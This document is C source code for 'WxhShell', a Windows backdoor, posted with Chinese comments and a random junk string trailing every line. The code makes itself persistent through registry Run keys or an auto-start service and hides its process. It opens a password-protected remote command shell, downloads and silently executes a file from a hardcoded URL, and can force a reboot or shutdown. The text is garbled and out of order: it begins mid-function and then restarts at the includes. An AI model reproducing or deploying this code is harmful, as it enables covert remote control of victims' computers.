    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *g4Uo{  
    else { ![eipOX  
    closesocket(wsh); 7324#HwS  
    ExitThread(0); 5JG`FRW!  
    } om6`>I*  
    break; Vygh|UEo  
    }  Gc;-zq  
  // 获取shell /sqfw,h@  
  case 's': { +Q"XwxL<6  
    CmdShell(wsh); qVvnl  
    closesocket(wsh); -WGlOpg0;  
    ExitThread(0); h|<;:o?yh  
    break; `6PBV+]Vm3  
  } 4I.)>+8V  
  // 退出 \@zoM:[sN  
  case 'x': { Z`n "}{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^}<]sjmk  
    CloseIt(wsh); C\0,D9  
    break; >}d6)s|   
    } fr8';Jm  
  // 离开 @[Wf!8_  
  case 'q': { cVSns\QO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GbvbGEG  
    closesocket(wsh); hK3Twzte  
    WSACleanup(); 8L`wib2  
    exit(1); zv^+8h7k  
    break; xJOp ~fKG  
        } |{rhks~  
  } 9MbF:  
  } 4%6@MQ[  
0;w84>M  
  // 提示信息 ^C}f|{J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U?Vik  
} ]UZP dw1D  
  } ghk"XJ|  
}$ a *XY1  
  return; C\ 34R  
} 6HH:K0j3'  
u5`b")a  
// shell模块句柄 T ^/\Rr  
int CmdShell(SOCKET sock) "J `#  
{ P7 5@Yu(  
STARTUPINFO si; gmOP8.g  
ZeroMemory(&si,sizeof(si)); Ia:M+20n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <W*6=HZ'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C k/DV  
PROCESS_INFORMATION ProcessInfo; WJ\,Y} J  
char cmdline[]="cmd"; 52r\Q}v$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j ~I_by  
  return 0; 4UN|`'c  
} M1*x47bN  
&0+Ba[Z ^  
// 自身启动模式 gGs"i]c  
int StartFromService(void) ifmX<'(9A  
{ *#GX~3A  
typedef struct H8E#r*"-m  
{ _OK!/T*FBt  
  DWORD ExitStatus; m5W':vM  
  DWORD PebBaseAddress; %B\VY+  
  DWORD AffinityMask; W>[TFdH?  
  DWORD BasePriority; >=3oe.$)  
  ULONG UniqueProcessId; w; :{  
  ULONG InheritedFromUniqueProcessId; }G"bD8+  
}   PROCESS_BASIC_INFORMATION; A'*#UYn(  
LDDt=HEY4  
PROCNTQSIP NtQueryInformationProcess; Jb)xzUhES  
FWLLbL5t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oYWHO<b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =vL >&$  
yx7y3TSq  
  HANDLE             hProcess; CH6;jo]  
  PROCESS_BASIC_INFORMATION pbi; r\q|DZ7  
&b]_#c   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j(c;r>  
  if(NULL == hInst ) return 0; ;r XZ?"  
uzS;&-nA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _iu^VK,}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k?Njge6@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f2ck=3  
m-Se-aF  
  if (!NtQueryInformationProcess) return 0; bc2S?u{  
) gxN' z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P R_| 8H|  
  if(!hProcess) return 0; v5W-f0Jo  
?VyiR40-Cx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T5_rPz  
_t6 .9CXl  
  CloseHandle(hProcess); mzf^`/NO  
P+rDln {  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PE6ZzxR|U<  
if(hProcess==NULL) return 0; x. /WP~I  
%KR2Vlh0  
HMODULE hMod; NHhKEx0Gtu  
char procName[255]; YIHGXi<"n  
unsigned long cbNeeded; bq{eu#rQJ  
I0_>ryA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qn@[{%),4  
Yr>7c1FZi  
  CloseHandle(hProcess); WH. 3  
fhro"5/4  
if(strstr(procName,"services")) return 1; // 以服务启动 O/oLQoH  
161IWos  
  return 0; // 注册表启动  |  
} Q%0 N\  
\CYKj_c  
// 主模块 &p55Cg@e)  
int StartWxhshell(LPSTR lpCmdLine) > v4+@o[~  
{ %'Z`425a  
  SOCKET wsl; nDz.61$[  
BOOL val=TRUE; , ksr%gR+  
  int port=0; 9ol&p>  
  struct sockaddr_in door; 9]g`VD6 <v  
6N/6WrQEeg  
  if(wscfg.ws_autoins) Install(); 6vg` 8  
",S146Y+  
port=atoi(lpCmdLine); ~@"H\):/  
5W09>C>OC  
if(port<=0) port=wscfg.ws_port; u_Xp\RJ  
id>2G %Tx  
  WSADATA data; Crezo?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2 yRUw  
ixB"6O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'lOpoWDL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c']m5q39'  
  door.sin_family = AF_INET; :{ai w?1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +O7GgySx  
  door.sin_port = htons(port); HzAw rC  
S|m|ulB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P o\d!  
closesocket(wsl); N <M6~  
return 1;  bDq<]h_7  
} xr31< 4B  
WFvVu3  
  if(listen(wsl,2) == INVALID_SOCKET) { ".kH5(:  
closesocket(wsl); WA#y&  
return 1; zuJ@@\75  
} Gf-GDy\{  
  Wxhshell(wsl); H2yPVJ\Y)"  
  WSACleanup(); 4UMOC_  
z7&m,:M  
return 0; =RHIB1  
xN!In-v[j;  
} Xj<xen(  
4@M`BH`  
// 以NT服务方式启动 9dva]$^:*1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7MhaLkB_6  
{ :,.HJ[Vg&  
DWORD   status = 0; jEL"Q?#  
  DWORD   specificError = 0xfffffff; 3s#/d,+  
{v2[x W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ys<z%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )hD77(c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D_BdvWSxj  
  serviceStatus.dwWin32ExitCode     = 0; {O4&HW%  
  serviceStatus.dwServiceSpecificExitCode = 0; UXOf  
  serviceStatus.dwCheckPoint       = 0; %kuUQ%W1  
  serviceStatus.dwWaitHint       = 0; Pje 1,B q  
jPs{Mr<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5 axt\  
  if (hServiceStatusHandle==0) return; E*L5D4Kw  
9T<k|b[6  
status = GetLastError(); O ]t)`+%q  
  if (status!=NO_ERROR)  }D!o=Mg^  
{ VL$?vI'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U[hokwZ  
    serviceStatus.dwCheckPoint       = 0; k|cP]p4,  
    serviceStatus.dwWaitHint       = 0; ;b 'L2  
    serviceStatus.dwWin32ExitCode     = status; N({-&A.N  
    serviceStatus.dwServiceSpecificExitCode = specificError; _RWH$L9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M`?ATmYy  
    return; )!'7!" $  
  } yp< )v(8|'  
+a^0Q F-7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %Ybr5$_  
  serviceStatus.dwCheckPoint       = 0; so A] f  
  serviceStatus.dwWaitHint       = 0; it->)?"(6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 03!#99  
} !4$-.L)#  
]!2[kA-  
// 处理NT服务事件,比如:启动、停止 ESuP ZB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +ux`}L(  
{ 1/A|$t[  
switch(fdwControl) 5qkyi]/U8  
{ ',I$`h  
case SERVICE_CONTROL_STOP: sRflabl *x  
  serviceStatus.dwWin32ExitCode = 0; _Bhd@S!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =P,pW  
  serviceStatus.dwCheckPoint   = 0; K~~LJU3  
  serviceStatus.dwWaitHint     = 0; /pJr%}sc  
  { R4S))EHg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UK .=Y9  
  }  }S}%4c>  
  return; -$`q:j  
case SERVICE_CONTROL_PAUSE: 0"i QHi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2nSK}q  
  break; eH%i8a  
case SERVICE_CONTROL_CONTINUE: y_T%xWK5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h@Ix9!?+  
  break; 0,6! 6>BOT  
case SERVICE_CONTROL_INTERROGATE: wIF)(t-):  
  break; \ (U|&  
}; hfs QAa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bUc ++M  
} hPt=j{aJ%<  
^CB@4$!   
// 标准应用程序主函数 PrF('PH7i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3lgD,_&  
{ #_zj5B38E  
jIWX6  
// 获取操作系统版本 T;3B_ lu]  
OsIsNt=GetOsVer(); 0&c<1;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rj-4K@a8#N  
^O**ZndB/  
  // 从命令行安装 Cf@N>N#t)  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3vEwui-5  
+xNq8yS  
  // 下载执行文件 L tK,_j  
if(wscfg.ws_downexe) { 7+rroCr"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $^W|@et{ ]  
  WinExec(wscfg.ws_filenam,SW_HIDE); @ZtvpL}e  
} TrBtTqH)  
X&!($*/  
if(!OsIsNt) { DOq"=R+  
// 如果时win9x,隐藏进程并且设置为注册表启动 DK#Tr: 7  
HideProc(); QV _a M2  
StartWxhshell(lpCmdLine); cgR8+o  
} t]xR`Rr;X  
else UhSaqq  
  if(StartFromService()) }L>0}H  
  // 以服务方式启动 Q1x=@lXR  
  StartServiceCtrlDispatcher(DispatchTable); 3&B- w  
else (>gb9n  
  // 普通方式启动 BuS[(  
  StartWxhshell(lpCmdLine); 3*eS<n[uG  
E-#C#B  
return 0; b3q&CJ4|  
} /=KEM gI?  
o1[[!~8e  
HyIyrUrYW  
`Nv7c{M^  
=========================================== KnUVR!H|  
!Za yN  
"f-HOd\=  
'NDr$Qc3  
D*ZswHT{y  
"1hFx=W+\  
" 'w_Qs~6~{  
y.::d9v  
#include <stdio.h> `=2p6<#z  
#include <string.h> _: !7M ^IU  
#include <windows.h> ;;Jx1Q  
#include <winsock2.h> FMC]KXSd  
#include <winsvc.h> {G{ >Qa|  
#include <urlmon.h> | zOwC9-6  
v+'*.Iv:  
#pragma comment (lib, "Ws2_32.lib") {%6g6?=j  
#pragma comment (lib, "urlmon.lib") _Pn 1n  
(ZQ?1Qxo  
#define MAX_USER   100 // 最大客户端连接数 R HmT$^=  
#define BUF_SOCK   200 // sock buffer &cy<"y  
#define KEY_BUFF   255 // 输入 buffer Dc0CQGx9b  
eU\_m5xl"  
#define REBOOT     0   // 重启 P3TM5  
#define SHUTDOWN   1   // 关机 TmJXkR.5  
fj[Kbo 7!h  
#define DEF_PORT   5000 // 监听端口 M} Mgz  
ZN!<!"~  
#define REG_LEN     16   // 注册表键长度 {}BAQ9|q  
#define SVC_LEN     80   // NT服务名长度 3lN@1jlh  
</_.+c [  
// 从dll定义API 0Q[;{}W}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }`]Et99Q5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lDZ~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l _zTpyOZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cw~fP[5XMF  
>txeo17Ba\  
// wxhshell配置信息 5e&;f  
struct WSCFG { %.;;itB  
  int ws_port;         // 监听端口 ^t,haO4  
  char ws_passstr[REG_LEN]; // 口令 V2$M`|E  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2h1P!4W85  
  char ws_regname[REG_LEN]; // 注册表键名 YAd%d|Q  
  char ws_svcname[REG_LEN]; // 服务名 "lL/OmG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rW`l1yi*$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xi!e=5&Pa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~Sx\>wBlc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }+K=>.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k{cPiY^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dyB@qh~H  
i$CF*%+t  
}; ;dTxQ_:  
&5hs W1`  
// default Wxhshell configuration Uv!VzkPfo  
struct WSCFG wscfg={DEF_PORT, rv2;)3/*  
    "xuhuanlingzhe", v(P <_}G  
    1, ]^<\a=U  
    "Wxhshell", ^[Y/ +Q.J  
    "Wxhshell", 8qoA5fW>  
            "WxhShell Service", *O7PH1G  
    "Wrsky Windows CmdShell Service", M0%nGpVj>  
    "Please Input Your Password: ", X=Jt4 h 9  
  1, D0h6j0r 5  
  "http://www.wrsky.com/wxhshell.exe", qpq(<  
  "Wxhshell.exe" X#o;`QM  
    }; M%7|7V<o)^  
)-25?B  
// 消息定义模块 WnA Y<hZ|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W?n/>DML  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pav  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `)Y 5L}c=  
char *msg_ws_ext="\n\rExit."; w4l]rH  
char *msg_ws_end="\n\rQuit."; cvYKZB  
char *msg_ws_boot="\n\rReboot..."; n D}<zj$D2  
char *msg_ws_poff="\n\rShutdown..."; t|*UlTLm  
char *msg_ws_down="\n\rSave to "; A:5P  
(iht LFp  
char *msg_ws_err="\n\rErr!"; \8USFN~(Y  
char *msg_ws_ok="\n\rOK!"; ypx`!2Q$  
;s#]."v_=  
char ExeFile[MAX_PATH]; )M@^Z(W/a  
int nUser = 0; zo@,>'m  
HANDLE handles[MAX_USER]; ,C|aiSh0-  
int OsIsNt; T#HF! GH]  
TV}=$\D  
SERVICE_STATUS       serviceStatus; S(0JBGC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z2q!_ ~  
OK2\2&G  
// 函数声明 jH<,dG:{  
int Install(void); P@Vs\wAT  
int Uninstall(void); kRH D{6mol  
int DownloadFile(char *sURL, SOCKET wsh); qJw\<7m  
int Boot(int flag); \U'*B}Sz  
void HideProc(void); &?k`rF9  
int GetOsVer(void); GE\({V.W  
int Wxhshell(SOCKET wsl); ^UyN)eX  
void TalkWithClient(void *cs); ML%JT x0+Z  
int CmdShell(SOCKET sock); muO;g&  
int StartFromService(void); p$<){,R  
int StartWxhshell(LPSTR lpCmdLine); Ad4-aWH  
01IfvK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @Y#TWt#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :^]Fp UY  
A[f `xE  
// 数据结构和表定义 E cd~H+  
SERVICE_TABLE_ENTRY DispatchTable[] = rK4 pYo  
{ ?S.LGc  
{wscfg.ws_svcname, NTServiceMain}, ~xc0Ky?8  
{NULL, NULL} ~!_UDD  
}; -#g0  
Ef=4yH?\j  
// 自我安装 {6F]w_\  
int Install(void) D c]J3r  
{ NC|VZwQtm  
  char svExeFile[MAX_PATH]; y/+y |.Xg  
  HKEY key;  5e2yJ R  
  strcpy(svExeFile,ExeFile); )7Oj  
Z*'_/Grv?  
// 如果是win9x系统,修改注册表设为自启动 z0T6a15f!P  
if(!OsIsNt) { qnO/4\qq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5'EoB^`8N~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yaAg!mW  
  RegCloseKey(key); jjg&C9w T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w# ;t$qz}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l!IN#|{(  
  RegCloseKey(key); Ub[UB%(T  
  return 0; OO;I^`Yn  
    } o^u}(wZ{  
  } =E&1e;_xlE  
} e(9K.3 @{  
else { e{.P2rnh  
xP 3>8Y  
// 如果是NT以上系统,安装为系统服务 SnoEi~Da  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,;yaYF 6|/  
if (schSCManager!=0) t<cWMx5ra  
{ &pAmFe  
  SC_HANDLE schService = CreateService S4{\5ulr7  
  ( \G6V-W  
  schSCManager, +Xmza8T9  
  wscfg.ws_svcname, >9[wjB2?}  
  wscfg.ws_svcdisp, b+$-f:mj  
  SERVICE_ALL_ACCESS, Ljk0K3Q6>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GA.cp*2 ~  
  SERVICE_AUTO_START, 5=;'LWXCJ  
  SERVICE_ERROR_NORMAL, 2F:X:f  
  svExeFile, z{qn|#}  
  NULL, Bc}e ??F  
  NULL, Sbj{)  
  NULL,  FO qD  
  NULL, Qe=eer~jI  
  NULL :kucDQE({?  
  ); Qq\hD@Z|  
  if (schService!=0) C0L(ti;  
  { yI's=Iu`  
  CloseServiceHandle(schService); l+?sR<e?!  
  CloseServiceHandle(schSCManager); 6Q`7>l.|?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9A}nZ1Y  
  strcat(svExeFile,wscfg.ws_svcname); 83Fmu/(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d^`n/"Ice  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X&,a=#C^  
  RegCloseKey(key); M U2];  
  return 0; !XY}\zKq  
    } T7*p! 0  
  } M5+K[Ir/y9  
  CloseServiceHandle(schSCManager);  j g_;pn  
} QB7^8O!<  
} S#|5&SR  
m_UzmWF  
return 1; 9bD ER  
} |LE*R@|3$  
^2mCF  
// 自我卸载 hle@= e/n  
int Uninstall(void) `~LaiN.  
{ }k6gO0z  
  HKEY key; 1VG7[#Zy  
do@BJWo  
if(!OsIsNt) { s?&UFyYb,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <2PO3w?Z  
  RegDeleteValue(key,wscfg.ws_regname); C6:; T%  
  RegCloseKey(key); ra{HlB{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >orDw3xC  
  RegDeleteValue(key,wscfg.ws_regname); h>n<5{zqM  
  RegCloseKey(key); xQ8?"K;iX  
  return 0; \eS-wO7%  
  } "C]_pWk  
} _^Q =n>G  
} 1$uO%  
else { y?V#LW[^E  
RZI4N4o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (M,*R v  
if (schSCManager!=0) .p\<niu7  
{ C-VkXk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )n$RHt+:>  
  if (schService!=0) T28Q(\C:}  
  { WO{9S%ck  
  if(DeleteService(schService)!=0) { E XQ 3(:&  
  CloseServiceHandle(schService); $-_@MT~  
  CloseServiceHandle(schSCManager); Ga $EM  
  return 0; @ {8x L  
  } *iujJ i  
  CloseServiceHandle(schService); ]q@W(\I  
  } <{A|Xs  
  CloseServiceHandle(schSCManager); UC?i>HsJrX  
} (k>I!Z/&2  
} M!] g36h[  
I#](mRJ6  
return 1; 'U4@Sax,  
} G+jcR; s  
yA-UXKT  
// 从指定url下载文件 i>AKXJ+  
int DownloadFile(char *sURL, SOCKET wsh) <,(Ww   
{ yyu f  
  HRESULT hr; 8,&QY%8pX  
char seps[]= "/"; #W=H)6  
char *token; qvN 5[rb  
char *file; F$H^W@<w  
char myURL[MAX_PATH]; OEj%cB!  
char myFILE[MAX_PATH]; 7a'@NgiGg  
m*H6\on:  
strcpy(myURL,sURL); (khMjFOg  
  token=strtok(myURL,seps); {#uf#J|  
  while(token!=NULL) 5\P3JoH:Yg  
  { y ;T=u(}  
    file=token; d i#:KW  
  token=strtok(NULL,seps); NFlrr*=t>  
  } %z AN@  
)\0LxsZ  
GetCurrentDirectory(MAX_PATH,myFILE); tU(vt0~b  
strcat(myFILE, "\\"); "(SZ;y  
strcat(myFILE, file); |>AHc_:$$  
  send(wsh,myFILE,strlen(myFILE),0); 3']=w@~ O[  
send(wsh,"...",3,0); ;PG,0R`Z;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~0XV[$`L  
  if(hr==S_OK) j?9fb  
return 0; 4Nz]LK%@  
else \J3n[6;  
return 1; K@+(6\6I  
zrCQEQq  
} gAViwy9{  
zu|=1C#5h  
// 系统电源模块 %^66(n)  
int Boot(int flag) WG.J-2#3  
{ {,b:f  
  HANDLE hToken; ;l2pdP4jf  
  TOKEN_PRIVILEGES tkp; >Y[nU~w  
'Gds?o8  
  if(OsIsNt) { \H$j["3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %4HpTx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #u6ZCv7u  
    tkp.PrivilegeCount = 1; rJ}k!}G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \Dn an5H/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]NgEN  
if(flag==REBOOT) { 5qx$=6PT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [}!obbM  
  return 0; h> A}vI*:  
} c<j  +"  
else { .jjv S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !aub@wH3  
  return 0; Cz1o@ rt  
} %O_Ed {G4t  
  } +~]LvZtI_  
  else { ~J,e^$u  
if(flag==REBOOT) { ^N_?&pgy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  [EU \-  
  return 0; X7gtR|[  
} #9) D.d|5  
else { I4"U/iL51  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u4p){|x7s  
  return 0; &WGG kn  
} A('_.J=  
} pJ 7="n  
*ioVLt,:R  
return 1; =jN9PzLk  
} EzDQoN7Em  
T1Y_Jf*KJ  
// win9x进程隐藏模块 S;FgS:;  
void HideProc(void) >*aqYNft  
{ >k{KwFB^S  
B&oP0 jS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >m;*Zk`  
  if ( hKernel != NULL ) '-[~I>o%  
  { p&~= rp`E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4BgrG[l)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zU$S#4/C  
    FreeLibrary(hKernel); hB)TH'R{:  
  }  M} {'kK  
3\jcq@N  
return; 2XN];,{  
} R |h(SXa  
8 k%!1dyMB  
// 获取操作系统版本 g`BtG  
int GetOsVer(void) )+S^{tt  
{ ~qxuD_  
  OSVERSIONINFO winfo; 9 L^:N)-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  + Y  
  GetVersionEx(&winfo); U F ]g6u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XV> )[Nd\H  
  return 1; P,@ :?6  
  else $rG~0  
  return 0; Y uo  
} atA:v3"  
s,|s;w*.  
// 客户端句柄模块 ~Uz1()ftz  
int Wxhshell(SOCKET wsl) :UgCP ~Y  
{ 2l9RU}  
  SOCKET wsh; Z7t-{s64  
  struct sockaddr_in client; 0=^A{V!m  
  DWORD myID; M >BcYbXf  
7CKh?>  
  while(nUser<MAX_USER) m"CsJ'\ors  
{ 4pfv?!Oj  
  int nSize=sizeof(client); 5@xl/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;%H/^b.c  
  if(wsh==INVALID_SOCKET) return 1; K!MIA  
|tkhsQ-;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *j0kb"#  
if(handles[nUser]==0) LYv$U;*+  
  closesocket(wsh); hD5G\TR.  
else mSu1/?PS  
  nUser++; rcWr0q  
  } Jm l4EW7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (\=iKE4#  
OYsG#  
  return 0; M!e$h?vB  
} 2 Xt$KF,?  
;ESuj'*t  
// 关闭 socket C=z7Gk=  
void CloseIt(SOCKET wsh) X_0Ta_u?T  
{ `V1D &}H+G  
closesocket(wsh); rprtp5Cg  
nUser--; V!Q1o!J  
ExitThread(0); Alsr6uLT1  
} -%*w&',G  
0DFxVH_xN  
// 客户端请求句柄 mar BVFz~  
void TalkWithClient(void *cs) eaI!}#>R +  
{ `f9I#B  
UF)4K3X  
  SOCKET wsh=(SOCKET)cs; #l!Sz247  
  char pwd[SVC_LEN]; KF#,Q  
  char cmd[KEY_BUFF]; )Bq~1M 2  
char chr[1]; smM*HDK  
int i,j; C)r!;u)AZH  
D/$$"AT  
  while (nUser < MAX_USER) { -m.SN>V  
f;k'dqlv  
if(wscfg.ws_passstr) { *0 0K3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?1z." &  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I<'wZJRRa  
  //ZeroMemory(pwd,KEY_BUFF); Y GZX}-  
      i=0; FD&"k=p+X  
  while(i<SVC_LEN) { l }i .  
7;UUS1  
  // 设置超时 G:]w UC\  
  fd_set FdRead; jJN.(  
  struct timeval TimeOut; P1Z+XRWOM  
  FD_ZERO(&FdRead); L(yR"A{FsE  
  FD_SET(wsh,&FdRead); UoLvc~n7  
  TimeOut.tv_sec=8; BihXYux*  
  TimeOut.tv_usec=0; ~9OART='  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X$L9 kZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \Ami-<T  
MMpGI^x!-X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XkWO-L  
  pwd=chr[0]; 0t-!6  
  if(chr[0]==0xd || chr[0]==0xa) { @@,l0/  
  pwd=0; J1?)z+t9~  
  break; $LLy#h?V]  
  } >^8=_i !  
  i++; =c-,uW11[  
    } 1?6;Oc^  
[HKTXF{n  
  // 如果是非法用户,关闭 socket f\ wP}c'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d{UyiZm\  
} ^b{w\HZ  
K&t+3O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c({V[eGY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JO4rU- n  
Pw^ lp'dO  
while(1) { ZR~ *Yofy  
wz-#kH5?  
  ZeroMemory(cmd,KEY_BUFF); HbRDa  
p/4\O  
      // 自动支持客户端 telnet标准   '\ $2+*  
  j=0; e%(,)WlTaU  
  while(j<KEY_BUFF) { |z!Y,zaX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3J2j5N:g  
  cmd[j]=chr[0]; j0p'_|)(  
  if(chr[0]==0xa || chr[0]==0xd) { 6iiH+Nc  
  cmd[j]=0; -/>SdR$D7  
  break; C0xj M0  
  } X  8V^  
  j++; t,*hxzD"  
    } jXBAo  
r>=)Y32Q  
  // 下载文件 \;z *j|;B  
  if(strstr(cmd,"http://")) { { XN"L3A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e5!LbsJv  
  if(DownloadFile(cmd,wsh)) IpX>G]"-C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?N 6'*2{NT  
  else nQ/R,+6h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fh0a "#L{  
  } L#Mul&r3x0  
  else { }{J5)\s9  
l .8@F  
    switch(cmd[0]) { 6dG:3n}  
  ZSKSMI%D  
  // 帮助 0-ISOA&  
  case '?': { #K|:BS  
